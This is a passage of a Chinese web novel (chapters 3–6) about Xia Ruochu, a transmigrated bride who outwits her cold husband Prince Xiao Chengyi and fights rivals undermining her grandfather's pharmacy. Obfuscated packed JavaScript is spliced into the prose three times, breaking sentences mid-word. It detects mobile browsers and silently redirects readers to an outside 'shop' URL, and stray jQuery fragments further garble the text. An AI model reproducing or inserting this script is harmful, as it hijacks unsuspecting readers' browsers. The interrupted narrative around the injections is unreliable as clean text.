临安的秋夜,寒意渐深。 身上的寝衣不足以抵御寒冷,夏若初昨夜本就没睡好,今日又一早起床备菜,此刻困意排山倒海般袭来。 忍了许久,她小心地掀开那床无比诱人的鸳鸯锦被。 身子缩了进去,尽量不发出任何声响,将自己蜷成一只虾米。 被褥温暖的触感包裹了她,身体一放松,极度的困倦席卷而来,意识很快模糊。 …… 她睡得很不安稳。 梦里,她回到熟悉的床上,抱住了自己最喜爱的又软又大的等身抱枕,舒服极了。 今天的抱枕格外温暖,还带着一种清冽好闻的气息,像雪后松林。 “好冷,抱抱。” 她无意识地嘟囔几句,手臂和腿都缠了上去。 柔软的脸颊在那片温热上蹭了蹭,手掌不安分地上下摸索,这抱枕质感真好,线条流畅,摸起来结实又有弹性…… 骤然间,天旋地转! 一股巨大的力量将她狠狠掼进床褥。 夏若初吓得魂飞魄散,睡意全无。 刀锋,抵在她细腻的颈间,隐隐有刺痛感。 她茫然睁眼,就对上一双暗沉的眼眸,萧承翊撑在她上方,眼中是她从未见过的暗流。 4. 第4章 两人呼吸在咫尺间交融。 黑暗中所有感官都被放大,夏若初颈间传来短刃的冰冷触感,似乎闻到了血腥气。 “你想做什么?”男人的声音意味难明,带着初醒的沙哑。 她心头一沉。 谁能想到,他竟会睡在她身边,而她睡得昏沉,竟然把他当抱枕。 睡梦中具体做了什么,她记不真切,但那模糊的梦境提醒她,她不仅抱了,恐怕还……摸了。 似乎,还嘟囔着让他“抱抱”。 她完了。 短短几秒,无数念头掠过夏若初的脑海。 挣扎呼救?怕被他当做别有用心的细作,那柄短刃下一刻就会割开她的喉咙。 解释求饶?萧承翊本就厌弃她,要是发现自己被当成个枕头,她的死法会更惨。 那……将错就错,色诱他? 这是她最不愿意走的路。 萧承翊有心结,婚事非他所愿,她若轻易委身于他,非但换不来半点怜惜,只会让他更轻贱,更不会帮她复仇。 苟活不难,她可以躲在这王府深院衣食无忧,守着毫无尊严的婚姻了此余生。 可是和一个不爱自己的人生活在一起有多痛苦啊。 更何况,那些抢别人东西的人就不该收到惩罚吗? 原身的仇恨已经融入她的骨血,她恨国公府、恨夏家,她要为自己讨一个公道。 外祖父苦心铺就的路岂能白费?母亲和兄长岂能枉死?她夏若初岂能心安理得? 不爱她的男人她不要,有朝一日她一定会离开,但绝非此刻。 眼下这关如何度过? 脑海中忽然想到一个人。 心口猛地一跳,或许,她可以转危为机。 夏若初喉间溢出一声轻弱的呻吟,微凉的指尖试探地抚上萧承翊的面颊。 “云骁哥哥,是你来接我了吗……” 男人的指骨微不可察地一颤,短刃仍紧贴她纤细的颈项,“你喊我什么?” 她额角沁着细密汗珠,双眸泛着水汽,将额头抵在他的肩上。 “云骁哥哥,你和母亲怎么都不来接皎皎......” “山里到了晚上好冷,好可怕,他们打我,不给我饭吃。” 温热的眼泪顺着男人敞开的领口,滚进他的胸膛。 头顶一片沉默,那副钢筋铁骨般的身躯骤然绷紧。 夏若初暗暗松口气,心中泛起一丝酸楚。 夏云骁,她的长兄,侯府嫡长子,十五岁以八百轻骑大破敌军三千精锐,后封骠骑将军,常年戍守北疆,鲜少回京。 萧承翊纵然嗜血无情,但朝野皆知他爱惜人才。两位少年将军年纪相仿,曾在北疆并肩浴血,结下深厚情谊。 他不屑与夏府来往,视夏若初为仇人,却唯独允许夏云骁近身切磋。 夏云骁无故中毒身亡,其中必有蹊跷,想必萧承翊也有疑虑,只是这人城府太深,从不提只言片语。 她曾隐隐觉得,萧承翊肯娶她,多少是因着她是夏将军最疼爱的妹妹。 可娶了她,却对她一点都不好。 那她也不必真心相待。 夏若初咬咬牙,故意贴得更紧,双手环住男人劲瘦的腰身。 他的体温驱散了夜的寒凉,那缕冷檀香莫名令人心安,她将发烫的脸颊贴在他颈间,软声呢喃: “哥哥,你想不想皎皎?” 萧承翊猛地坐起身。 她却如依附他的藤蔓,柔软无骨般,顺着他的力道窝进他怀里,像只寻求庇护的猫儿。 “清醒些。”萧承翊声音带着严厉,托起她的脸,“一杯合卺酒就醉成这样?看清楚我是谁。” 倒是提醒她了。 醉了好啊,醉了可以更放肆。 “胡说,我没醉。”夏若初仰起酡红的小脸,眼中水光潋滟,“你就是云骁哥哥。只有我哥哥才这般好看,是最厉害的大英雄。” 萧承翊浑身绷紧,面色十分沉郁。 夏若初顺势环住他的脖颈,“哥哥,你不要皎皎了吗?” “夏若初!” 男人发出一声让人心胆俱裂的低吼,她浑身一颤,触电般从他怀中弹开。 慌乱间,她忘了身后还横着那柄短刃,身子向后仰起的刹那,萧承翊手腕急转—— 却还是慢了半分。 锋刃擦过她的肩头,一道血痕骤然显现。 鲜血沁出。 “好痛!”夏若初看见伤口,索性哭得惊天动地。 “王爷……怎会是王爷?妾……流了好多血啊……王爷要杀了我吗?” “妾身做错了什么?” 她扯过他白色中衣的下摆,胡乱按在伤口上,泪珠大颗滚落。 “我只是梦到了哥哥,他要是知道,王爷睡觉也带着刀,还把我划伤了,不知有多心疼!” 萧承翊一时无语。 那道伤痕,若在他身上,连眉头都不会皱一下。 可她缩成一团哭得撕心裂肺,仿佛手臂将要不保,望向他的眼神满是惊惧,他是什么噬人的魔鬼吗? 血没止住,反被她按压的动作抹得纵横交错,将他素白的中衣弄得一塌糊涂,竟有几分触目惊心。 萧承翊沉着脸下床取了金创药,点亮床头的八宝宫灯。 “过来。”他声音无一丝温度。 夏若初下意识往后缩了缩。 “不想血流干就过来。” 她像被吓到似的,立时挪到他跟前,乖顺地垂下肩膀。 粗粝的指腹摸抹上她肩头,微凉的药膏化开,夏若初的呼吸微微一滞。 她原以为他会很粗暴的。 他指间那些薄茧是常年握剑留下的,此刻却收敛了所有力道。 她眸中闪过一丝精光。 他在怜悯她。果然因为她是夏云骁的妹妹。 从今往后,这一丝怜悯就是她最大的依仗,她要借这道口子撕破他心中的防线! 萧承翊利落地上好药,没再多看她一眼,径直在床外侧躺下,合上了眼。 夏若初悄悄往里挪了挪,抱起一只锦枕横在两人中间。 男人侧首,“你防我?” “怎么会呢?”她无辜地说,“妾睡相不佳,只怕,又扰王爷清梦。” 萧承翊轻哼一声,“你可想好,明日如何回老夫人?” 她指指他身上的中衣,“王爷放心,妾身答应过,会帮王爷应对老夫人。” 她眸中闪过狡黠的光,既然受了伤,她便要让这伤受得值得,让自己的利益最大化。 “这,能骗过老夫人?”他问。 “妾觉得可以。” 静卧两秒,夏若初才品出异样。 现代人都有生理常识,即便她未经人事,也知道正常情况不会有这样充满戏剧效果的出血量。 莫非位高权重的肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999248|193943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王,不曾与女子有过肌肤之亲? 她心思一动,从锦枕后探出半张小脸,“似乎还不够,王爷可否也割一刀?” 不能只是她一个人疼。 反正古偶中,都是男人潇洒地来上一刀,两人瞒天过海。凭什么轮到她,就是自己挨刀子。 “行啊。”萧承翊淡淡道,“我再割你一刀。” 夏若初立时缩回枕后,紧闭双眼。 这坏胚,等她利用完他,一定要把和离书甩他脸上。 - 翌日。 太夫人府正厅气氛凝重。 “造孽啊!”萧太君指尖颤巍巍指着孙儿,脸一阵红一阵白。 萧承翊神色如常,“祖母为何动怒?” 他方才从武场回来,连茶都没来得及喝一口。 萧老夫人屏退左右,把那件血迹斑斑的白衣摔进他怀里,还有不知哪里来的红绳、戒尺。 “你再不喜欢初儿,也不能对姑娘家……这般不知轻重。”老夫人艰难地措辞。 “我竟不知,你去过哪些秦楼楚馆,从哪里学来的龌龊行径,不知节制,不成体统!” 萧承翊:…… “初儿需留在我处静养,你搬回你的肃王府,我再不能为你说话!” 萧承翊蹙眉,芝麻绿豆那么点大的伤,需要静养吗? 又听老夫人吩咐碧菡,“王妃伤在难以启齿之处,不愿让陌生医官诊治,便依她,去请她外祖家药馆的女医过来,快去快去!” 萧承翊:…… 他这才恍然大悟。 原来所谓的帮他应对,竟是这么个应对法。 添油加醋,让祖母以为他是个癖好古怪的急色之徒,将他一人赶回家。 他气极反笑。 偏偏无法辩白,若说昨夜没行周公之礼,老夫人更要生气。 见他阴沉着脸一言不发,死不认错的样子,萧老夫人很是无奈。 “当年你祖父身中数箭,军医已无力回天,是沈家太爷守了三天三夜才从阎王手中抢回你祖父的命。如今他将外孙女托付于我,我竟无力照顾妥当。” “罢了!”萧老夫人重重叹口气,“你既看不上她,我便进宫求道和离圣旨,再为她另寻归宿。” “祖母。”萧承翊眉头压下,“和离可是夏若初的意思?” “她不敢提,是我的主意。” “既如此。”他唇角微动,“先不离吧。” “你还想怎样?”老夫人瞪他,“安嬷嬷说半夜听见哭喊声,今早王妃便起不来床,我去看她,她缩在被子里瑟瑟发抖。你还指望她往后敢近你身?” 萧承翊语塞。 演戏竟演得这样逼真。 “孙儿只是觉得,祖母别具慧眼。”他牵牵嘴角,“王妃,甚是有趣。” 他轻咳声:“祖母放心,我以后注意分寸。” “当真?”老夫人不信,“你知何为分寸?” “她已是孙儿的人,和离后再难寻得好人家。”他淡淡道,“留她给祖母做做点心,倒也无妨。” 老夫人冷哼,“你莫要瞧不起初儿,她敢抽赵姝一鞭子,可见有骨气,未见得非要嫁与你。” 萧承翊没有反驳。 直到离开正厅,脸色依然阴沉。 她哪来的骨气?胆小得跟猫似的,抽人一鞭子,自己吓得直哭,没用得很。 倒是在他跟前,胆越来越大了。 5. 第5章 松风院内。 夏若初半倚在贵妃榻上,悠然地吃着葡萄。 她在等人。 算算时辰也该到了。 门外传来脚步声,夹杂着亲卫的低语。 夏若初扔下手中的葡萄,柔弱无力地倚在榻上。 刚躺下,萧承翊就大步跨进门来。 那锐利的目光停在她身上。 夏若初艰难地起身,福身行礼,“妾见过王爷。” 萧承翊语带嘲讽,“王妃身子可好些?”声音冷得连葡萄都能冻成冰块。 “妾无碍。”她柔声说。 肩膀微沉,寝衣滑落半肩,恰到好处地露出渗着血色的绷带。 她慌忙拉好衣襟,一双水眸羞怯地望向萧承翊,似是怕极了他的责备,当真我见犹怜。 萧承翊缓缓移开目光,冷声道:“我今日回府,你留下陪老夫人,不许搬弄是非。” “是。”夏若初应道,心中大舒了口气。 她总算能安然度过一段时间,不用夜夜胆战心惊。 借口养身子,她还能每日见到养颐堂的人,熟悉账本,了解近况。 一举两得,这伤,受得值了。 虽说她有意让他在老夫人面前吃了点亏,但这也不算什么大事吧。 萧承翊知道她说到做到,理当更加信任她。 “妾信守承诺,既维护王爷的英明神武,又免您日日对住我。”她试探着问,“王爷可满意?” 屋里安静片刻。 “你胆大妄为。”萧承翊声线淬着寒意,“今后再敢欺瞒我半分,我定不饶你。” “无论你如何卖乖,我都清楚你是怎样一个自私虚伪的女子。” 夏若初茫然抬首,只见男人目光蒙上浓重的阴翳。 “夏氏,难道你从未愧疚?” “三年前,我母亲去庙中还愿,遇上流民暴动,所乘的马车车轴断裂,卡在桥头。” “永宁侯府车驾经过,你见死不救,还命车夫快马加鞭,任由我母亲坠河惨死。” 他声音无波无澜,字字却重若千钧,砸在她心上。 “身为侯府小姐,你若吩咐,仆从定会听命。你的沉默,就是对我母亲的谋杀。” “别在我面前耍弄心机,你这条命,暂且寄下。” 语毕,他拂袖而去,没再停留片刻。 夏若初僵在原地,一股寒意逐渐渗透四肢百骸。 原身真的做过这样的事情吗? 奇怪的是,她对这段经历毫无记忆。 - 夏若初没被萧母的死因困扰太久。 不是她本人做的事,她犯不着内疚。何况六年前,这具身体才十三岁,是何情形尚未可知。 眼下要紧的是,仇人找上门来了。 连着几日,女医辛夷入府给夏若初“换药调理”,实则传递药铺的经营情况。 “四娘子,养颐堂怕是撑不住了。” 辛夷是沈老太爷救下的孤女,沈家落败后不离不弃,是可信任之人。 “有人收尽了市面所有的三七、蒲黄,这是养颐堂最要紧的药材,如今伤药配不出来,我空有医术,实在愧对上门求药的猎户和农户。” 听完此话,夏若初指节收紧,“国公府,赵姝,她果然向养颐堂下手了。” 养颐堂毗邻西山,来往多是攀山伐木、狩猎砍柴的穷苦人,外祖父当年选址于此,就是为了方便缺银少钱的百姓。 铺面不大,前堂看诊抓药,后院晾晒草药,沈家从未指望它盈利,反倒年年补贴,只为济世救人。 可今时不同往日,母亲那价值半城的嫁妆,连同沈家三代积累的产业,尽数落入永宁侯府和国公府手中。 只因养颐堂是间赔钱的铺子,才得以存留,但再经不起一点折腾。 那些人为了对付她,全然不管伤患死活,实在卑鄙。 辛夷不解:“四娘子怎知是赵姝?难道不是柳氏和三娘子捣鬼?” “柳氏没那么沉不住气。”夏若初冷笑。 柳氏隐忍十数年无名无分,生下子女,最终逼死正室,执掌侯府中馈,岂是寻常角色? 此时夏兰萱正处心积虑嫁入高门,这个时候她们母女俩也不想闹出是非。 夏家没有国公府这样大的权势,眼下自己得了肃王妃的名分,以柳氏的心机,不会莽撞地找她麻烦。 回门的时间早就过了,夏家无一个人过问,明摆着是在静观其变,就等着萧承翊哪天一纸休书把她赶出门。 赵姝却不同。她性情暴躁,忍不了那一鞭子的仇,不对,是两鞭子。 毁人珍视之物,也是赵姝最乐在其中的把戏。 夏若初对这类低级玩法嗤之以鼻。 就算没有养颐堂,她也有本事白手起家。 可她偏偏就喜欢这间有骨气的小铺子。 既如此,那便利用此事好好做做文章。 她吩咐碧菡取来银匣交给辛夷。 “我的银钱能撑一阵。你安排伙计去其他药铺收药,不论进价,告诉上门的百姓,养颐堂的药价一分不涨。” “贴出公告,就说养颐堂愿以市价签订两年长契,并预付三成定金。碧菡会放出消息,说我们已经谈妥明州的新货源。” “对外不可露怯,以免有人落井下石。” 辛夷不懂商事,只能点头照办,心中暗暗叹口气。 四娘子贵为王妃,却连自家商铺都被人欺负到头上,还得自己贴银两。 可见外边传言都是真的,这王妃有名无实。药铺怕是早晚保不住了。 夏若初却若无其事。 人走后,她换了身衣服去干活。 这些日子她可没闲着。 她在松风院辟了块药圃,种上薄荷、紫苏、鱼腥草等易生易长的药材,每日带着园丁忙得不亦乐乎。 嫌弃长裙金钗行动不便,她还画了草图让绣娘赶制了几身轻便衣裳。 交领短襦,配阔腿绸裤,又将满头青丝编作双环髻,时而兴起,便簪两朵新鲜的紫苏花。 这般俏皮打扮,萧老夫人反而喜欢,“我道是谁家未及笄的小姑娘,偷溜出来玩耍呢!” 她给老夫人熬安神助眠的汤水,少糖少盐的清淡点心,老人从前的痛风、消渴症状都减轻了许多,越发疼爱她。 很快,府中下人也愿意在她身边,她不多事,不找麻烦,多做的吃食会打赏下人,各色好吃的点心,许多样式闻所未闻。 人人喜欢这位与众不同的王妃,权当老夫人养了个亲孙女。 只是无人敢当面提起,肃王自那日走后,便再未来过。 可怜的王妃不得宠。 女子以夫为贵,得不到肃王的宠爱,势利眼的高门权贵都会耻笑她,今后怕是只能躲在太夫人府中了。 连碧菡都为主子忧心,“姑娘,您自从晕倒后怎么变了个人?都不着急为自身筹划,怎么还有闲心摆弄花花草草呀!” 夏若初却另有计较。 她在等一个时机。 如今赵姝惹到养颐堂头上,正是她要的机会。 算算日子,也该唤回她那位一去不复返的夫君了。 - 这日天气晴好。 侍卫统领关朔从正厅匆匆退出,被太夫人训斥得灰头土脸。 边关军报骤紧,肃王连日坐镇统筹布防,甚至宿在宫中,算来已有七八日未曾踏足太夫人府。 关朔统筹两府的护卫排班与日常联络,时常两边奔走,躲都躲不掉,自然成了老夫人的出气筒。 “关统领,请留步!” 一个清亮的嗓音喊住他,回头一看,是王妃贴身丫鬟碧菡。 “碧菡姑娘,何事?”他嘴上应着,脚下却未停。 “我们王妃有请关统领!” 脚步猛地顿住。 关朔讶异,随即皱紧眉头。王妃从未与他接触,为何找他? 他对这位传言中跋扈嚣张的肃王妃,实在没有好感。 无他,只因他手下的亲卫们无端挨的二十军棍。 大婚当日王爷因这女人动怒,兄弟们无故受了二十棍。 次日她又与长乐县主起冲突,王爷事后怪罪随行亲卫未尽职守,也赏了每人二十军棍。 祸水啊祸水! 这般招惹是非的主子,他恨不得绕道走。 “统领快随我来,王妃有东西让您带回肃王府。”没容他说话,碧菡已经笑盈盈带路。 这就不能拒绝了。关朔心想既是有物件要带给肃王,拿了便走。 进入松风院,他正犹豫,想说外男不便入内室,却被带到一处苗圃,不禁愣住。 平日冷清寂静的太夫人府从未有此等朝气,下人们来来去去,伺弄着满园不知名的植物。也不知是得了什么好处,个个面色红润,倒像是为自己干活般勤快。 唯独不见王妃华丽贵气的身影。 王妃在哪儿呢? “回王妃,关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999249|193943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统领到了!” 只见药丛中站起个娇小身影。 她穿着海棠红撒花短襦,月白绸裤,乌发绾成双螺髻,面上不施粉黛,秋阳映衬下双颊绯红。 那少女拎着沾泥的裤脚,三两步跑到他面前,声音甜软,“有劳关统领,特意跑这一趟。” 关朔怔住。 王妃完全不似之前所见般清冷出尘,令人难以靠近。 这身打扮…… 他想起多年前离家从军时,家中那哭闹着送别她的小阿妹,也梳这般可爱的双螺髻,也用这般澄澈透亮的眼神望住他。 半晌,他垂头抱拳,声音不由轻了几分:“末将,参见王妃。” “关统领不必多礼。”夏若初清浅地笑。 她眼神示意,两个粗使婆子用扁担抬上来一个大箩筐,里面整齐码着二十余只深口竹筒,筒身如碗口大小,筒口用油纸紧紧扎着。 “这是何物?”关朔面露好奇。 夏若初脱口而出:“霸王……茶。” 她温和细致地叮嘱:“因我的缘故,连累关统领麾下的亲卫受责罚,我心中一直难安。” “近日秋寒渐重,我便调制了些茶饮,以清茶、豆乳做底,竹筒能保一时温热,请关统领带回府中分给因我而受罚的亲卫。” 又指着竹筒上的细绳,“绳色不同,口味也略不同。” “系红绳的,加了黑糖和姜汁;绿绳的,放了山楂和桂花;黄色的,则是秋梨和柑橘皮,兑了蜂蜜,可润燥止秋咳。” 停了停,她像是觉得自己话太多,耳根微红,难为情地低下头去。 “权当是我一点微末心意。” “对了。请关统领切记不要给王爷喝,他咽喉有陈疾,不适宜饮用……” 话没说完,她声音哽住,眼泪泫然欲落,俨然一个为丈夫心痛不已的贤惠妻子。 直至出了松风院,关朔仍有些恍惚。 “碧菡姑娘,王妃平日也这般羞怯吗?” “我们四娘子素来对人极好,落落大方。”碧菡正指挥婆子将满箩筐的霸王茶抬上马车。 “关统领莫要见怪,四娘子心情不佳,今日刚哭过几回,未能与您好好叙话。” 关朔一怔,这还叫不好好叙话? 王妃比那些眼高于顶的贵女不知温柔多少。 “王妃为何哭泣?” “关统领有所不知。”碧涵闻言面露难色,“四娘子已无亲人可依,外祖留下的药铺是她唯一的念想。” “那间药铺本为救助穷苦百姓而设,最近不知得罪哪路神仙,故意买断伤药的货源。老夫人又不喜娘子沾染外务抛头露面,娘子不敢不从,急得茶饭不思。” “四娘子常说,外祖自幼教导她仁心仁爱,济世救人,如今眼见伤者无药可医,她怎能不伤心?” 一番话听得关朔义愤填膺,“何人胆大妄为,王爷可知此事?” “万万不可!关统领莫要害我。”碧涵连连摆手,“四娘子特意嘱咐,王爷公务繁忙,这等琐事不敢扰他心烦。” “唉!王爷也不待见我家娘子。可怜娘子,对王爷一片痴心,只能偷偷藏着。” 碧涵拭了拭眼角,转身离去。 关朔百感交集。 他真不是人啊,竟然一直误会人美心善的王妃。 难怪方才,他问为何不为王爷特调一筒霸王茶时,王妃却红了眼。她神情哀伤地说:“王爷必然不愿吃我做的东西。” 唯一可寄托亲情的药铺招人恶意针对,无计可施,才刚新婚就被王爷冷落。 这王妃,也是怪委屈的。 此时,松风院内,委屈的王妃正慢悠悠地品尝奶茶。 可惜这时期牛乳是珍稀物,大量取用不合适,更担心有人乳糖不耐受,不过用杏仁露来调制,别有一番风味,也挺好喝的。 “姑娘,您为何不自己与关统领说这番话?害奴婢背词背得好生辛苦。”碧菡问。 夏若初笑笑,“你不懂,有些话就得别人说,才更有效果。” 男女间的心思,一旦面对面说开,便没有了趣味。 爱在暧昧不明时最美丽。 就得是虚虚实实,若即若离,让人猜来猜去,才更心痒难熬。 想要让一个人惦记,最好的方法不是时时出现在他面前,而是悄无声息渗透他的生活。 她可不会开口求萧承翊过来。 她要让萧承翊自己来找她,主动帮她,为养颐堂打赢这一战。 6. 第6章 御道。 萧承翊正从大殿出来,荣国公赵时安便跟随在后。 “肃王请留步。” 转身看清来人,萧承翊只微一颔首。 赵时安拱手,“老夫特来向王爷赔罪,小女赵姝少不更事,冲撞王爷,老夫已重重责罚了她。” 言语间只字不提新婚的王妃,目光试探地望向萧承翊。 “国公是该整饬家风。” 大红官服在晨光中泛起暗金流纹,映得男人眉目愈冷。 “王爷宽宏大量。”赵时安并不在意,抚须笑道,“七日后便是中秋,老夫在府中设宴,特备下紫金泉,让小女为王爷奉酒谢罪。” “京城第一舞姬雪嫣姑娘也会到场,此女美艳无双,却只对王爷念念不忘,心意至诚。” 他故意顿了顿,“老夫定妥善安排,必不令王爷失望。” “哦?”萧承翊不轻不重地应了声。 见他并未拒绝,赵时安露出得意的笑。 “听闻王爷对王妃不甚满意?王爷正当盛年,龙章凤姿,理当三妻四妾。妻子不贤,弃之便是。” “老夫为官三十载,深知这朝堂风云从来都是一荣俱荣。若能与王爷结盟,定远胜千军万马!” 萧承翊脚步顿住。 “美酒、佳人,国公如此费心……” 幽深的眸底掠过一丝讥诮,他缓缓回过身,嘴角扬起淡淡的笑意。 “本王很有兴致。” - 出宫后,萧承翊未回王府,命随从取来劲装,径直策马直奔城郊大营。 连日伏案,已多日未曾亲临操练。练箭半个时辰后,他汗透衣裳,索性褪去上衣,露出精悍的胸膛。古铜色肌肤上旧伤纵横,随肌肉起伏更显阳刚之气。 正要取弓再射,他脚步忽顿。 不远处箭垛旁的青石上,赫然摆着几只竹筒,筒身系着不同颜色的丝绳,显得格外扎眼。 怎会有这样娘里娘气的东西? “来人!”他厉声命道,“将值守饮酒者拖下去——” “王爷明鉴!这不是酒,是奶茶。”几名玄甲卫慌忙跪倒,“是王妃赏赐的霸王茶。” 萧承翊眉峰微动。 “霸王茶?” 他信手拿起一只竹筒,乳白浆液浮着一层清甜的桂花香,确实没有酒气。 又拿起另一只竹筒,闻到酸甜的山楂气息。 “关统领也喝了!”亲卫们赶紧找了个保命符。 “关统领每次去太夫人府安排护卫,都会捎回些。王妃做不了许多,弟兄们就分着解馋……” “王爷息怒,这奶茶实在是……好喝得紧。” “守夜次日喝一筒,精神确实爽利。” “王妃天仙儿样的人,又有菩萨心肠,这才配得上我们王爷!” 众将士你一言我一语。 萧承翊虽贵为郡王,治军严厉,但这支玄甲卫曾随他北征南讨,沙场上无尊卑,汗血相融,早成了过命的袍泽。 纵是平日操练,将士们也知他赏罚分明,并不拘束。 他不发一言,转身走向马场。 果然见到虎背熊腰的亲卫统领刚练完骑射,正抱着个竹筒仰头痛饮,那张素来憨厚的脸上,露出心满意足的笑意。 见王爷突然现身,关朔下意识就将竹筒往怀里藏。 “藏什么?怕我喝你的茶?”萧承翊上前,“给本王说清楚。” 关朔咕嘟咽了声口水,“是王妃特意叮嘱过,说您咽部有旧伤,不让您喝。” 那张冷峻的脸不辩情绪,关朔冷汗都快下来了。 “太夫人尝过也说好,特让王妃传授给厨娘,命人日日往校场送茶。后边可都是太夫人的安排!” “王爷,您看这名字取的,霸王茶!听着就英明神武,是不是跟我们特别般配?嘿嘿。” 萧承翊负手而立,暮风拂动他汗湿的额发。 那个出了名苛待下人、刁蛮任性的侯门贵女,怎么可能放下身段体恤将士、亲近行伍? 定是那日得罪他,心中惧怕他报复,故作贤惠笼络人心罢了。 他唇角勾起冷峭弧度。 “关统领,过来与本王过招。让本王看看你这几日饮茶可曾添了半分霸气?” “啊?!”关朔瞳孔骤缩。 他怎么可能赢?每次和王爷过招,都比挨军棍还惨。 尚未等他回过神,萧承翊已欺身上前,毫不留情将他狠狠掼在地上,摔得半晌爬不起来。 傍晚时分。 玄甲卫簇拥着肃王回府。 才过垂花门,便见几个婆子抱着朱漆木盒笑吟吟往后院去,小丫鬟们叽叽喳喳围过去。 “何事喧哗?”萧承翊驻足问道。 管事嬷嬷赶紧回话,“太夫人府送来的驱蚊香包,王妃亲自配的十几味草药,比那寻常熏香好用多了。” “王妃吩咐,一应丫鬟婆子都有,从一等仆从往下分发,大家就候着呢。” “开口闭口都是王妃,肃王府何时易了主?”他扔下一句。 王爷面色不善,众人皆面面相觑。 关朔在一旁暗自揉揉酸痛的腰背,讪讪地不作声。 书房里烛火通明。 萧承翊端坐案前,兵策堆了半尺高。 “王爷。属下需过太夫人府巡查。” 以往这等事务关朔从来不必禀报,可今日,他觉得还是说一声比较妥当。 笔锋未停,只传来淡淡的鼻音,“嗯。” “王爷可要同去?太夫人几日未见王爷,总拿属下出气。” 萧承翊头也未抬:“受着。” 须臾,忽有声音在书房门外响起。 “碧菡姑娘来了!这是何物?王爷正忙公务,不便打扰。” “是王妃给王爷特制的香囊,不放心交给别人,特命我送来。” 烛火倏地一跳。 遒劲有力的笔画无端斜出一道,墨迹泅开一团乌云。 “进来回话。” 门外安静片刻。碧菡进来行过礼,将一袋香囊放在案头。 “其他人用的都是绣娘赶制,王爷这只香囊是我们王妃亲手绣的,很是特别呢。” “王妃特意嘱咐,王爷咽喉有陈疾,须慎用香料,这香囊中的草药都是王妃亲自挑拣的,带在身上能驱蚊虫,又能宁神助眠。” 那放在案头的香囊,用料是顶好的靛蓝杭缎,可上头绣的图样,针脚歪歪扭扭,不知是猫,还是猪,眼睛一大一小,腿像四只柱子,乱蓬蓬几撮毛。 萧承翊微怔片刻,“王妃绣的是,山鸡?” 碧菡有些为难,“是——麒麟。” 萧承翊:…… 如此丑怪的绣工,果然见所未见,特别得很。 关朔好奇地凑过去看,噗嗤就笑出声来,一道眼刀射过来,他硬生生绷紧了面皮。 碧菡心中其实在暗暗打鼓,她也觉得这香囊上不得台面。 可她家姑娘不以自己绣工差为耻,反说丑才好,丑才能让人印象深刻。 香囊散发一股清冽的草药香,混杂着橙皮、薄荷的清气,隐隐还有艾叶的微苦,沁人心脾,将人心头那点莫名的躁意都驱散了几分。 拢于掌中,不循常理的绣纹摩挲着指腹,带来一种异样的触感。 “放着吧。”萧承翊声线淡然。 “王爷,奴婢这就回去了。”碧菡小心问,“王爷可有话带给王妃吗?” 等了半天没回应,只听见狼毫磨在纸上的沙沙声。 碧菡与关朔对视一眼,只得默默退出。 - 秋雨绵延不绝下了数日,寒意日渐深重。 莲灯寺的钟声穿过雨雾,在空寂的山谷间荡开层层回音。 禅院廊下,一道纤细的身影与静立的僧袍相对,形成静谧的剪影。 “大师,那日的情形您可亲眼所见?萧夫人落水,当真因我之过?” “老衲不敢妄断王妃有过错。”方丈手持念珠,合十还礼。 “那年萧夫人来本寺还愿,王妃确实也在寺中为母亲祈福,不过彼时您还是尚未及笄的侯府千金。” “萧夫人车驾离去不久,便遇流民暴乱冲撞,待老衲带僧众赶至,为时已晚,只打捞得萧夫人的遗骸。” “当日目睹的僧侣皆说,永宁侯府车驾仓促离去,未对萧夫人施以援手。” 夏若初秀眉微蹙,混乱的记忆如这漫天雨丝,纠缠难解。 忘尘大师是得道高僧,不会捏造事实,萧夫人遇难那日,原身的确在寺中,两驾车马先后离开。 僧众赶到时,萧夫人尚未得救,而永宁侯府车驾却在众目睽睽之下疾驰而去。 如此看来,原身见死不救,竟是真真切切发生过的事。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999250|193943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 寒意从脚底寸寸上涌,浸透四肢百骸。 忘尘大师受人敬重,萧老夫人常到寺中听经。今日这番话,萧承翊必然早就悉数知晓,是以他恨意难消。 若不是夏云骁生前从中周旋,只怕萧承翊早已提剑上门杀了原身。 许是那段记忆太可怕,原身选择性遗忘,连带着夏若初脑中也缺了关键的拼图,怎么都想不起来。 今日她冒雨前来,本想弄清事情的原委,化解萧承翊心中芥蒂。 因为养颐堂已经到了山穷水尽的地步。 她手中的银钱所剩无几,以高价收购药材终非长久之计。虽然两年长约的承诺,引来几家小药商试探,可不出两日便纷纷打了退堂鼓。 不用想也知道,是遭了人威逼恐吓。 若养颐堂破产,最终会落入谁人之手不言而喻。 情势所迫,她也只能硬着头皮去恳请萧老夫人,想借肃王府声威庇护养颐堂。 不出所料,她被拒绝了。 